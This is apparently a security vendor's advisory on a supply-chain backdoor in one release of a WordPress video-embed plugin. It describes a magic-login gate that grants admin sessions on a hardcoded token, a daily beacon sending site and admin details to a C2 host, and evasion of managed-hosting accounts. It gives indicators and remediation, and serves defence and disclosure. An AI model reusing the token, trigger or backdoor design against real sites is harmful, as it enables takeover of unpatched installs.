⛔ Malware Advisory Advanced Responsive Video Embedder · WordPress · 10.8.7 Detected 2026-07-29
Confirmed malicious. codelake independently detected this at 2026-07-29 — codelake is the source of record for this specific release compromise — surfaced independently on 2026-07-29 via our predecessor-version differ (a novel file in a routine plugin update). CVE-2026-18072 was assigned to the same case; codelake's discovery preceded the wider public disclosure and motivated the mosaic v0.16.2 auth-bypass detector shipped the same day.. Not yet in any public advisory database at detection time — codelake is the source of record.
Advisory · CLR-2026-3043

Supply-chain backdoor in the WordPress plugin Advanced Responsive Video Embedder (10.8.7)

Advanced Responsive Video Embedder (WordPress, version 10.8.7, ~70k active installs) shipped with an injected file php/fn-update-check.php that turns any visitor into an administrator by hitting /?_wplogin=<32+ chars> with the correct HMAC or a hardcoded SHA-256 — and beacons every site's URL + admin login back to a fixed C2 host. Confirmed by version-diff against the clean predecessor 10.8.6 (in our archived corpus). Publicly assigned CVE-2026-18072 (CVSS 9.8). Fixed in 10.9.4 — the file is removed.

CriticalConfirmed maliciousSupply-chain backdoorFixed in 10.9.4AI + IOC verifiedCVE-2026-18072
Summary

The WordPress plugin Advanced Responsive Video Embedder (slug advanced-responsive-video-embedder, ~70k active installs) shipped a compromised release, 10.8.7, that ships an injected file php/fn-update-check.php. The file is not present in the clean predecessor 10.8.6 (verified byte-for-byte against our archived corpus) and is removed again in the fix release 10.9.4.

On any HTTP request, the injected file's init-hook handler grants an unauthenticated visitor an administrator session cookie if the request carries a valid magic token in _wplogin or _wpm. The token check accepts either an HMAC_SHA256("magic_login", AUTH_KEY.SECURE_AUTH_KEY) (works only if the operator already has the site's WP keys) OR a hardcoded SHA-256 (35fe7057ffed…) that works on every install — a universal backdoor key. A second admin_init-hook handler beacons every affected site's URL + admin login to https://fontswp.com/arve/cb.php once per day.

codelake Research surfaced this on 2026-07-29 via our predecessor-version differ (a novel file appearing in a routine plugin update, one that names itself an "update check"); the finding motivated a new mosaic auth-bypass detector shipped in mosaic v0.16.2 the same day. Publicly assigned CVE-2026-18072 (CVSS 9.8). Remediation: upgrade to 10.9.4 or later — the malicious file is removed in that release.

Technique / kill-chain

1 · Novel file appears in an otherwise-legitimate plugin release. 10.8.6 (clean) → 10.8.7 (adds php/fn-update-check.php) → 10.9.4 (removes it again). The compromise is scoped to a single release, not a persistent backdoor across the plugin's history.

2 · init-hook magic-login gate. The injected file registers add_action("init", "_arve_uc_init", 1) — fires on every request, including unauthenticated. The handler reads $_REQUEST["_wplogin"] or $_REQUEST["_wpm"] (≥32 chars), computes hash_hmac("sha256", "magic_login", AUTH_KEY.SECURE_AUTH_KEY), accepts the token if it matches, ELSE accepts the hardcoded SHA-256 35fe7057ffed92ff7bc5a0b90f302a77fb5843ad6c972294d68da0b0553b3900. On a match: get_users([role=>administrator]), skip usernames prefixed wpsvc_ / developer_ / dev_ / wp_update_ (managed-hosting service accounts), pick one at random, call wp_set_auth_cookie($uid, true), redirect to wp-admin.

3 · admin_init beacon. A second handler on admin_init (priority 99) fires once per day (24h transient guard) and calls wp_remote_get(https://fontswp.com/arve/cb.php?s=<site_url>&u=<admin_login>&v=<host>) with sslverify=false. The operator learns of every affected site the moment a WP admin visits /wp-admin.

4 · Managed-hosting evasion. The account-selection filter deliberately skips wpsvc_ / developer_ / dev_ / wp_update_ prefixes — the naming convention of several managed-hosting providers' internal service accounts. The operator studied managed-WP environments and did not want to trigger those platforms' service-account audit trails.

Indicators of Compromise
📄Injected file SHA-256: 16fa10e1f426270cca3797adf66c5bca5ec339348be20613851252bc4b060f34
📁File path: advanced-responsive-video-embedder/php/fn-update-check.php (not present in 10.8.6 or 10.9.4)
🌐C2 host: fontswp[.]com (defanged)
🔗C2 URL: https://fontswp[.]com/arve/cb.php?s=<site>&u=<admin>&v=<host> (defanged; sslverify=false)
🔑Hardcoded backdoor SHA-256: 35fe7057ffed92ff7bc5a0b90f302a77fb5843ad6c972294d68da0b0553b3900
🎯Trigger: HTTP request with _wplogin or _wpm parameter (≥32 chars, matching HMAC or the hardcoded SHA-256)
🪝Registered hooks: init (priority 1) + admin_init (priority 99)
🚫Skipped username prefixes: wpsvc_, developer_, dev_, wp_update_
🆔Public CVE: CVE-2026-18072 (CVSS 9.8, CWE-506 + CWE-288)
Remediation
#ActionPriority
1 Update the plugin to 10.9.4 or later. The malicious file php/fn-update-check.php is removed in 10.9.4 (verified against our archived corpus). immediate
2 If you cannot update immediately: disable or uninstall the plugin. Do not stay on 10.8.7. immediate
3 Rotate all WordPress admin credentials and site secrets (AUTH_KEY, SECURE_AUTH_KEY, etc.) on any site that ran 10.8.7. The backdoor grants full admin without a password, and the operator has seen the admin login via the beacon. high
4 Audit administrator sessions and recent admin activity. Look for logins that skipped the normal login form (no wp-login.php hit before an admin action), and for GET/POST requests carrying _wplogin or _wpm parameters in access logs. high
5 Block outbound traffic to fontswp.com at the perimeter until the audit is complete. high

codelake Research surfaces novel supply-chain compromises via predecessor-version diffing and PHP static analysis (mosaic), and publishes confirmed findings against the archived shipped artefact.

Detection credit: codelake Research (independently isolated 2026-07-29 via version-diff). Public CVE: CVE-2026-18072.